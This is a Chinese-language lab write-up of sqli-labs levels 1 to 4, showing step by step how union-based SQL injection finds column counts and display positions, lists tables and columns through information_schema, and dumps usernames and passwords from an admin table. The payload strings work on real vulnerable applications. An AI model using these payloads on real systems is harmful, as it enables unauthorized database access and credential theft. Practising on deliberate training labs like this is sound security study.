sqliab刷题笔记-联合注入

2021/7/26 19:07:47

本文主要是介绍sqliab刷题笔记-联合注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

Less-1

  1. 测试是字符型还是数字型

image

  1. 判断所在字段数

    image

  2. 查看显示值

    image

    可以看出显示2,3位置。因此我们选择2的位置进行联合注入

  3. 查看表名

    image

    • 我们要对admin,users等字符敏感
  4. 查看admin表中的字段名

    image

  5. 显示内容

    image

    获得flag:helloword

  6. less-1的代码

    image

Less-2

  1. 判断字符型注入还是数字型注入

    image

    通过匹配单引号我们可以看出我们所写的单引号并没有被匹配因此我们可以看出这是一个数字注入

  2. 判断所在表的字段数

    -1+order+by+4
    

    image

  3. 查看显示位置

    -1+union+select+1,2,3
    

    image

  4. 查看表名

    -1+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3--+ 
    

    image

  5. 查看admin表名的字段

    -1+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3--+
    

    image

  6. 查看内容

    -1+union+select+1,(select+concat(username,0x5c,password)+from+admin+limit+0,1),3--+
    

    image

  7. 代码查看

    image

Less-3

  1. 查看

    -1'
    

    image

    由错误回显可以看出该类型为字符型注入,且需要闭合引号

    -1')--+
    

    image
    发现构造成功

  2. 判断字段数

    -1')+order+by+4--+
    

    image

  3. 查看显示位置

    -1')+union+select+1,2,3--+
    

    image

  4. 查看表名

    -1')+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3--+
    

    image

  5. 查看字段

    -1')+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3--+
    

    image

  6. 查看内容

    image

  7. 代码审计

    image

Less-4

  1. 构造

    -1'
    

    image

    无反应

    -1"
    

    image

    发现我们需要闭合双引号和括号

    -1") order by 100--+
    

    image

    发现构造成功

  2. 判断该表的字段数

    -1")order+by+4--+
    

    image

  3. 判断显示位置

    -1")union+select+1,2,3--+
    

    image

  4. 查询表名

    -1")union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3--+
    

    image

  5. 查看admin表中的字段名

    -1")union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3--+
    

    image

  6. 获取admin表中内容

    -1")union+select+1,(select+concat(username,0x5c,password)+from+admin),3--+
    

    image

  7. 代码审计

    image



这篇关于sqliab刷题笔记-联合注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程